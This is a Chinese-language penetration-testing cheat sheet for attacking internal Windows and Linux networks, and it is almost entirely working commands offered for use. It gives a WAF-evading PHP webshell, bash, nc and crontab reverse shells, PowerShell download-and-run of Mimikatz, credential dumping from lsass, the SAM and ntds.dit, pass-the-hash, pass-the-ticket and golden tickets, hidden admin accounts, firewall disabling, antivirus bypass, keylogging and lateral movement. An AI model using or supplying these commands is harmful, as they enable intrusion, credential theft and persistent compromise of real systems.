华域联盟 网络安防 内网备忘录

内网备忘录

文章内容没谈snmp利用,可以去乌云等社区获取,没有后续内网持久化,日志处理,bypass uac等内容。

Webshell

测试主站,搜wooyun历史洞未发现历史洞,github,svn,目录扫描未发现敏感信息,无域传送,端口只开了80端口,找到后台地址,想爆破后台,验证码后台验证,一次性,用ocr识别,找账号,通过google,baidu,bing等搜索,相关邮箱,域名等加常用密码组成字典,发现用户手册,找账号,发现未打码信息,和默认密码,试下登陆成功,找后台,上传有dog,用含有一句话的txt文件<?php eval($_POST['cmd']);?>,打包为zip,php文件<?php include 'phar://1.zip/1.txt';?>即可,c刀被拦,修改config.ini文件,php_make @eval(call_user_func_array(base64_decode,array($_POST[action])));用回调函数,第一个为函数名,二个为传的参数.

前期收集

query user || qwinsta 查看当前在线用户
net user  查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\dc   查看dc域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain   /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain 
net config workstation   当前登录域 - 计算机名 - 用户名
net use \\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx  查看域控
dsquery
whoami /all 查看Mandatory Label uac级别和sid号
net sessoin 查看远程连接session(需要管理权限)
net share     共享目录
cmdkey /l   查看保存登陆凭证
echo %logonserver%  查看登陆域
spn –l administrator spn记录
set  环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
  • 发现远程登录密码等密码 netpass.exe

下载https://www.nirsoft.net/utils/network_password_recovery.html

  • 获取window vpn密码:

    mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

  • wifi密码:

    netsh wlan show profile 查处wifi名下一条命令用 netsh wlan show profile WiFi-name key=clear

  • ie代理

    reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer
    reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

  • pac代理

    reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail

一些命令

ping          icmp连通性
nslookup www.baidu.com vps-ip dns连通性
dig @vps-ip www.baidu.com
curl vps:8080  http连通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008
fuser -nv tcp 80 查看端口pid
rdesktop -u username ip linux连接win远程桌面 (有可能不成功)
where file win查找文件是否存在 
找路径,Linux下使用命令find -name *.jsp来查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888   kill -9 PID   查看端口并kill

3389

判断是内网,还是外网,内网转发到vps

netstat -ano,没有开启3389端口,复查下
tasklist /svc,查svchost.exe对应的TermService的pid,看netstat相等的pid即3389端口.

添加user

net user admin1 admin1 /add & net localgroup administrators admin1 /add

如不允许远程连接,修改注册表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

关闭防火墙

netsh firewall set opmode mode=disable  

3389user无法添加

隐藏win账户

开启sys权限cmd

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

add user 并隐藏

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

win server有密码强度要求,改为更复杂密码即可

渗透技巧——Windows系统的帐户隐藏
windows的RDP连接记录

反弹,转发

linux bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
bash -i 交互的shell
>& 标准错误输出到标准输出
/dev/tcp/10.0.0.1/8080 建立socket ip port
0>&1 标准输入到标准输出

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
猥琐版(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -
详细介绍 https://github.com/tom0li/security_circle/blob/master/15288418585142.md

ngrok-backdoor

Grok-backdoor是一个简单的基于python的后门,它使用Ngrok隧道进行通信。Ngrok后门可以使用Pyinstaller生成windows,linux和mac二进制文件.
虽然免杀,但如果开win防火墙会提示,生成后门时会询问是否捆绑ngrok,选择no时,在被攻击机执行时需联网下载ngrok,运行后,telnet连接即可.
github https://github.com/deepzec/Grok-backdoor

veil

这里,安装问题有点多,我用kali-2018-32安装成功,先安装下列依赖,后按照官方即可。

apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32  

生成shell

./Veil.py
use 1
use c/meterpreter/rev_tcp

在win gcc -o v.exe v.c -lws2_32 用mingw下gcc编译bypass 360
msfconsole -r veil.rc (其中veil.rc是之前生成的,bypass)

python -m SimpleHTTPServer 80虚拟机里开启,在外访问虚拟机ip即可下载虚拟机文件

ew

tools: http://rootkiter.com/EarthWorm
新版tools: http://rootkiter.com/Termite/
正向:

被攻击机(跳板):
        temp目录下
        unzip ew.zip
        file /sbin/init (查看linux位数)
        chmod 755 ew_for_Linux
        ./ew_for_Linux -s ssocksd -l 9999 (侦听0.0.0.0:9999)
        netstat -pantu|grep 9999 (查看是否侦听成功)
攻击机:
        proxychain设置socks5 为跳板ip port
        proxychain nmap即可以用跳板代理扫描其他主机

反向:

攻击机:
    chmod 777 ./ew_for_linux64
    ./ew_for_linux -s rcsocks -l 1080 -e 2333 即被攻击机连接本机2333端口,转发到本机的1080端口,访问本机的1080端口,相当访问被攻击机的2333
    设置proxychain socks5 本主机ip port:1080
    proxychain代理即可
被攻击机:
    chmod 777 ew_for_linux
    ./ew_for_Linux32 -s rssocks -d 192.168.1.100 -e 2333

nc

nc简单使用
linux root 权限

mknod /tmp/backpipe p  
/bin/sh 0</tmp/backpipe | nc ip port 1>/tmp/backpipe

权限不够用mkfifo /tmp/backpipe
以上用nc监听即可

lcx

被攻击机 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389
vps      lcx.exe –listen 8888 5555

在本机mstsc登陆139.1.2.3:5555或在vps连接127.0.0.1:5555

netsh win自带(只支持tcp)360拦

netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080

将本地80转到192.168.1.101:8080端口

netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389

通过连接1.1.1.101的8082端口,相当连接1.1.1.101可访问的内网192.168.2.102的3389端口

go+msf & py+msf bypass360

msf编码生成后,用go build -ldflags="-H windowsgui -s -w"即可,详细参考以下link

http://lu4n.com/metasploit-payload-bypass-av-note/ http://hacktech.cn/2017/04/20/msf-AntiVirus.html

提权

win提权辅助工具,原理主要通过systeminfo补丁信息比对漏洞库
工具链接 https://github.com/GDSSecurity/Windows-Exploit-Suggester

linux提权辅助
https://github.com/jondonas/linux-exploit-suggester-2

感谢前辈收集的提权exp,地址:
windows-kernel-exploits Windows平台提权漏洞集合
linux-kernel-exploits Linux平台提权漏洞集合

msf

linux相关payload:

    linux/x86/meterpreter/reverse_tcp
    linux/x86/meterpreter/bind_tcp
    linux/x86/shell_bind_tcp
    linux/x86/shell_reverse_tcp
    linux/x64/shell/bind_tcp
    linux/x64/shell/reverse_tcp
    linux/x64/shell_bind_tcp
    linux/x64/shell_bind_tcp_random_port
    linux/x64/shell_reverse_tcp

windows相关payload:

    windows/meterpreter/reverse_tcp
    windows/meterpreter/bind_tcp
    windows/meterpreter/reverse_hop_http
    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_http_proxy_pstore
    windows/meterpreter/reverse_https
    windows/meterpreter/reverse_https_proxy
    windows/shell_reverse_tcp
    windows/shell_bind_tcp
    windows/x64/meterpreter/reverse_tcp
    windows/x64/meterpreter/bind_tcp
    windows/x64/shell_reverse_tcp
    windows/x64/shell_bind_tcp

目标服务器为64位用x64监听,反弹meterpreter用含有meterpreter的模块,反弹普通的shell(例如nc),shell_reverse_tcp模块监听

例如msf:

反弹shell  msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 
监听       windows/meterpreter/reverse_tcp

反弹shell  nc -e cmd.exe ip port 
监听       windows/shell_reverse_tcp

meterpreter下上传 upload file 下载 download file

Msf进程注入(测试win10没成功,win2008 可以,360会拦)

meterpreter > getuid
Server username: xxxx
meterpreter > getpid
Current pid: 3456
meterpreter > ps

Process List
============
 PID   PPID  Name                       Arch  Session  User          Path
---   ----  ----                       ----  -------  ----          ----
 12000  676  shell.exe                  x86   2        xxx  C:\Users\xxx\Desktop\shell.exe
 676  1124  explorer.exe               x64   2        xxx  C:\Windows\explorer.exe

meterpreter > migrate 676
[*] Migrating from 12000 to 676...
[*] Migration completed successfully.

Msf hash

  1. meterpreter > run hashdump 需要sys权限 导出SAM
  2. meterpreter > run post/windows/gather/smart_hashdump 需要sys权限
  3. getsystem存在uac,用msf bypass,但特征明显 meterpreter > search bypassuac
  4. msf powerdump load mimikatz 不太好用

Msf的持续后门

Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)

run persistence -U -i 10 -p 10390 -r free.ngrok.cc 
会被360拦,-i 10 10秒请求一次

使用powershell执行也被监控而被360拦截

meterpreter 的 run getgui -e 命令可以开启成 功。360会提示阻止

Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,使用-r参数可以卸载服务 ,被拦

Msf powershell

meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds

Msf Router

2个或多个路由之间,没有配置相应的路由表,不能访问,获得一台机器shell session 添加路由,使msf可以在当前shell session下以被攻击机访问其他内网主机.

meterpreter > run get_local_subnets 
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    Local subnet: 172.17.0.0/255.255.0.0
meterpreter > run autoroute -s 172.17.0.0/16  添加路由
meterpreter > run autoroute -p                查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16  删除

MS17-010

meterpreter > background 
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010 
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 172.17.0.0/24
rhosts => 172.17.0.0/24
msf auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf auxiliary(scanner/smb/smb_ms17_010) > run

先利用exploit/windows/smb/ms17_010_psexec,win10旧版依旧可以,新版设置smbuser,smbpass即可

Msf扫描

经过上面设置路由即可使用以下scan:

use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/tcp
常用port 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017,50070,19004440,5082,7001,6082,50000,8888,2222,2082,2083,3312,3311,7778,8083,10000,8089,8649,27017,27018,5900,5631,4899

服务扫描:

SMB版本识别:auxiliary/scanner/smb/smb_version 
MSSQL信息收集:search mssql相关模块,如auxiliary/scanner/mssql/mssql_ping 查询mssql监听的端口,默认1433
SSH版本信息:auxiliary/scanner/ssh/ssh_version
FTP版本识别:auxiliary/scanner/ftp/ftp_version
HTTP服务:auxiliary/scanner/http/http_header 返回相关header信息

port:21 (FTP)

auxiliary/scanner/ftp/ftp_login     //FTP登陆爆破

其它:search FTP。FTP常见利用方式,除了直接获取文件,还要注意目录跨越漏洞,成功利用,可以直接反弹shell

port:22 (SSH)

auxiliary/scanner/ssh/ssh_login

其它:search SSH

port:23 (telnet)

auxiliary/scanner/telnet/telnet_login    //主要目标是内网中的路由器,交换机等网络设备

port:445

exploit/windows/smb/ms08_067_netapi         //上古漏洞,依然有惊喜
exploit/windows/smb/ms17_010_eternalblue    //永恒之蓝
auxiliary/scanner/smb/smb_login             //SMB登陆爆破

其它:search smb | Samba。linux下的CVE-2017-7494, 445 端口的远程利用

port:3389 (远程桌面RDP)

auxiliary/scanner/rdp/ms12_020_check

5900 (VNC)

auxiliary/scanner/vnc/vnc_none_auth
auxiliary/scanner/vnc/vnc_login
exploit/multi/vnc/vnc_keyboard_exec

数据库:

port:1433 (Sqlserver)

use auxiliary/scanner/mssql/mssql_login

port:3306 (Mysql)

auxiliary/scanner/mysql/mysql_login

port: 27017、27018 (Mongodb)

auxiliary/scanner/mongodb/mongodb_login

port:6379 (Redis)

auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/file_upload

port:1521 (Oracle)

search Oracle

port:5432 (PostgreSQL)

search PostgreSQL

use auxiliary/server/socks4a
proxychains设置socks4为上条设置的,即可在本地代理扫描, 目前msf已经支持 socks5 代理

Msf端口转发portfwd

portfwd add -L 0.0.0.0 4443 -p 3389 -r 192.168.2.100

将192.168.1.2.100内网转发到本地4443 port,流量大不好用

Msf截屏(没被360拦没提示,或许有意外收获)

meterpreter > use espia
meterpreter > screengrab

Msf嗅探

meterpreter > use sniffer
Loading extension sniffer...Success.
meterpreter > help

Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

meterpreter > sniffer_interfaces

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
4 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
5 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

meterpreter > sniffer_start 5
[*] Capture started on interface 5 (50000 packet buffer)
meterpreter > sniffer_dump 5 /tmp/1.pcap
[*] Flushing packet capture buffer for interface 5...
[*] Flushed 2540 packets (1450560 bytes)
[*] Downloaded 036% (524288/1450560)...
[*] Downloaded 072% (1048576/1450560)...
[*] Downloaded 100% (1450560/1450560)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/1.pcap
meterpreter > sniffer_stop 5
[*] Capture stopped on interface 5
[*] There are 29 packets (2263 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'

键盘记录

Msf键盘记录在win不会创建新进程

meterpreter > keyscan_start 
Starting the keystroke sniffer ...
meterpreter > keyscan_dump 
Dumping captured keystrokes...
jamd<CR>
meterpreter > keyscan_stop 
Stopping the keystroke sniffer...

Keylogger(tip:可以把管理工具,如navicat,putty,SecureCRT,PLSQL设置记住密码) ixkeylog,linux>=2.63 --redrain推荐

远程命令执行

at\schtasks\psexec\wmic\sc\ps

window 在工作组内用非 Administrator (SID!=500)其他管理员建立远程连接( wmi, ipc$ ),权限不是管理权限,可以改 LocalAccountTokenFilterPolicy = 1

reg add  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system 
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

ipc$

开启共享,开445,139 port

D:>net use \2.168.1.254\c$ "pwd" /user:user     //连接192.168.1.254的IPC$共享,用unc路径
如果是域用户 D:>net use \2.168.1.254\c$ "pwd" /user:domain\user
D:>copy srv.exe \2.168.1.254\c$ //复制本地srv.exe到C根目录
D:>net time \2.168.1.254         //查时间
D:>at \2.168.1.254 10:50 srv.exe //用at命令在10点50分启动srv.exe (这里360会拦截)
D:>net use \2.168.1.254\c$ /del

Schtasks

这里schtasks用着很舒服:

schtasks /create /tn mytask /s ip /tr F:\Desktop.exe /sc minute /mo 1  /F 每分运行1次  普通权限即可, /s参数 远程ip 用于ipc连接后,远程主机执行 ,/F 表示有重名直接覆盖和创建或删除修改计划不再确认
schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1 /ru system /F  管理员权限运行

如果程序有参数用引号"C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM 内置命令前加"cmd /c"

schtasks /create /tn mytask /tr "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy41\windows\NTDS\ntds.dit c:\ntds.dit 2>&1 > c:\windows\temp.txt" /sc minute /mo 1  /f /ru system /s 172.17.1.1
C:\jboss-5.1.0.GA\bin\>schtasks /create /tn mytask /s 172.17.1.1 /tr "C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" /sc minute /mo 2
SUCCESS: The scheduled task "mytask" has successfully been created.

C:\jboss-5.1.0.GA\bin\>schtasks /Query /TN mytask /s 172.17.1.1
Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
mytask                                   16-05-2018 07:50:00    Ready          

C:\jboss-5.1.0.GA\bin\>schtasks /Run /TN mytask /s 172.17.1.1

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
mytask                                   16-05-2018 07:52:00    Ready          

C:\jboss-5.1.0.GA\bin\>schtasks /Delete /TN mytask /F /s 172.17.1.1
SUCCESS: The scheduled task "mytask" was successfully deleted.

psexec

psexec 不推荐用,创建服务并删除,产生日志,需要开共享

psexec -r sanr \2.168.1.101 -u user -p pass cmd -r 参数为创建的服务名 可能绕过检测

wmi(135)

wmi 如果防火墙开启无法连接,优点无日志,无落地(写入磁盘),以下命令无回显,写入txt,type查看

wmic /node:192.168.1.101 /user:admin /password:@!123QWW
process call create "cmd.exe /c whoami"
wmiexec

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password 如果没明文密码,pth后利用。 http://www.91ri.org/12908.html

winexe

winexe可以从Linux上远程执行windows命令(SMB),kali自带

./winexe --system -U 'Administrator%123123' //192.168.1.101 'cmd.exe /c whoami'

PsRemoting

2012 r2起,默认端口5985,系统自带远程管理winrs winrs -r:192.168.1.101 -u:administrator -p:pwd ipconfig

mimikatz + procdump 获得内存 hash

如果服务器是64位,要把Mimikatz进程迁移到一个64位的程序进程中,才能查看64位系统密码明文。32位任意

运行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理权限)后lsass.dmp放到mimikatz.exe同目录,运行以下命令

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\Windows\Temp\test\x64>mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on May  2 2018 00:26:52
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 4 ; 484366552 (00000004:1cded8d8)
Session           : RemoteInteractive from 4
User Name         : admin
Domain            : xx
Logon Server      : WIN-VEG0FAB6OQS
Logon Time        : 5/5/2018 11:49:44 AM
SID               : S-1-5-21-970513389-3385549917-1141547890-1128
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : xx
         * NTLM     : xxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxxxxxx
         [00010000] CredentialKeys
         * NTLM     : xxxxxxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxx
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : xx
         * Password : QWEad!@w123
        kerberos :
         * Username : admin
         * Domain   : xx
         * Password : QWEad!@w123
        ssp :
        credman :
Authentication Id : 0 ; 2138016 (00000000:00209fa0)
Session           : Service from 0
User Name         : dmadmin
Domain            : xx
Logon Server      : WIN-VEG0FAB6OQS
Logon Time        : 3/7/2018 3:23:17 PM
SID               : S-1-5-21-970513389-3385549917-1141547890-1119
        msv :
         [00000003] Primary
         * Username : dmadmin
         * Domain   : xx
         * NTLM     : xxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxx
         [00010000] CredentialKeys
         * NTLM     : xxxxxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxx
        tspkg :
        wdigest :
         * Username : dmadmin
         * Domain   : xx
         * Password : 1234!qw
        kerberos :
         * Username : dmadmin
         * Domain   : xx.com
         * Password : (null)
        ssp :
        credman :

导出当前 内存 hash,需要免杀过av等

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Windows Server 2012,部分Windows Server 2008默认无法使用mimikatz导出明文口令

解决方法:启用Wdigest Auth

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

重启或者用户再次登录,能够导出明文口令
3gstudent自动Dump-Clear-Text-Password-after-KB2871997-installed

SAM-hash

管理权限:

reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv

mimikatz:

lsadump::sam /sam:Sam.hiv /system:Sys.hiv
mimikatz # lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv
Domain : MINI
SysKey : 58699cc69ada69e9d859731bec45824d
Local SID : S-1-5-21-687613702-1072107351-1410383080

SAMKey : 339c56f87f46195ddd5158c018a973de

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 22388b7da6d4e33b9ab1cdf631daff8c

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000003ee (1006)
User : HomeGroupUser$
  Hash NTLM: 73233a63fa3dd495142e3a362a921221

pass the hash

wmiexec普通权限即可
https://github.com/maaaaz/impacket-examples-windows

wmiexec -hashes 00000000000000000000000000000000:99b2b135c9e829367d9f07201b1007c3 TEST/[email protected] "whoami" //domain=TEST user=test1

or 需要管理权限

mimikatz "privilege::debug" "sekurlsa::pth /user:abc /domain:test.local /ntlm:hash"

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c:::
meterpreter > background
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBuser Administrator
msf exploit(psexec) > set SMBPass xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

安装了KB2871997补丁或者系统版本大于等于windows server 2012时,内存不再明文保存密码,1,改注册表后,注销再次登录,可以使用,schtasks等执行命令无法用管理员权限。2.用ptk,ptt。例外,打补丁后administrato(SID-500)依旧可以pth

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/

pass the key

需要免杀:

mimikatz "privilege::debug" "sekurlsa::ekeys"  获取用户的aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:asdq379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"  注入aes key
dir \\计算机名

pass the ticket

不需要管理员权限

kekeo "tgt::ask /user:abc /domain:test.local /ntlm:hash"

https://github.com/gentilkiwi/kekeo

导入ticket:

kekeo "kerberos::ptt [email protected][email protected]"

ntds.dit

vssadmin方法>=win 2008
查询当前系统的快照

vssadmin list shadows

创建快照

vssadmin create shadow /for=c:

获得Shadow Copy Volume Name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47

复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\NTDS\ntds.dit c:\ntds.dit    copy第一个参数为创建快照时位置

复制system和sam

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\system c:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\sam c:\

删除快照

vssadmin delete shadows /for=c: /quiet

获取将以上system,sam, ntds.dit 放到 /root/ntds_cracking/下,运行

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/SYSTEM LOCAL -outputfile  hash.txt

安装:

git clone  https://github.com/CoreSecurity/impacket.git
cd impacket-master/
python setup.py  install

py地址 https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py 参考:域渗透——获得域控服务器的NTDS.dit文件

dc定位
nltest dclist:xx.xx
net time /domain
systeminfo 中的domain
ipconfig /all 中的DNS Suffix Search List
扫描53端口,找dns位置
C:\jboss-5.1.0.GA\bin\>set log
LOGONSERVER=\\DC01
net group "domain controllers" /domain
PowerView Get-NetDomainController
PowerView地址https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

windows log

微软第三方信息收集工具LogParser.exe psloglist.exe等

powerhsell神器

nishang https://github.com/samratashok/nishang

spn扫描 https://github.com/nullbind/Powershellery/tree/master/Stable-ish

PowerSploit https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

针对ps的Empire https://github.com/EmpireProject/Empire

ms14-068 Kerberos漏洞利用:

生成TGT:用于伪造

whoami /all
                      用户@ 域名                 用户sid    域主机
python ms14068.py -u [email protected] -p password -s sid -d dc.xxx.com
ms14068.exe -u [email protected] -p password -s sid -d dc.xxx.com

会生成[email protected]

注入TGT:

klist
klist purge 清除所有凭证,等一会在执行下列命令(https://www.t00ls.net/thread-28727-1-1.html)
写入内存 mimikatz.exe "kerberos::ptc c:\[email protected]"

若成功

dir \\dc.xxx.com\c$
net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain

msf ms14_048_kerberos_checksum模块也可以检测 工具: https://www.t00ls.net/viewthread.php?tid=28207&from=favorites https://github.com/gentilkiwi/kekeo

GPP漏洞利用

win2008增加,一般域用户都可访问敏感文件
密码存在SYSCOL目录下:

Groups.xml, 这个文件是域管通过GPP设置或修改本地密码留下的
Services\Services.xml,
ScheduledTasks\ScheduledTasks.xml,
Printers\Printers.xml,
Drives\Drives.xml,
DataSources\DataSources.xml
net use \\域控(如pc.xx.com) password /user:xxx.com\username 
dir \\域控\SYSVOL /s /a > sysvol.txt
findstr /i "groups.xml" sysvol.txt

找到cpassword
解密过程:

set-executionPolicy bypass
powershell -ep bypass     启动ps
Import-Module .\GPP.ps1
Get-DecryptedCpassword  xxxxxxxxxxxxxx

脚本link:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

利用SYSVOL还原组策略中保存的密码

黄金票据(维权)

域用户sid

whoami /all

krbtgt hash

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

域管
net group "domain admins" /domain 这里是administrator

mimikatz "kerberos::purge"
"kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi"
"kerberos::ptt Administrator.kiribi"
"kerberos::tgt"

总结

​ 首先,利用 webshell 执行开篇的命令收集内网前期信息(不局限用 webshell),也可以用 msf 等平台,或 powershell 收集信息,判断机器所处区域,是 DMZ 区,还是办公区,核心 DB等;机器作用是文件服务器,Web,测试服务器,代理服务,还是 DNS,DB 等;网络连通性,文中也提到测试 dns,tcp,http 等命令,理清内网拓扑图,网段,扫描内网,路由,交换机,端口等判断是域还是组,组的话,用常见 web 方法,域的话 gpp,kerberos,黄金白银票据,抓密码,这里注意密码有的有空格,pth,ptk,spn 扫描,ipc,445,web 漏洞,各种未授权,密码相同,历史命令等,期间会遇到提权,bypass uac,bypass av。

某些大佬语录

利用漏洞配置不当获取更多主机权限
常见应用漏洞:
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis 未授权访问、Hadoop、weblogic、jboss、WebSphere、Coldfusion
常见语言反序列化漏洞
php、Java、python、ruby、node.js
数据库漏洞及配置不当
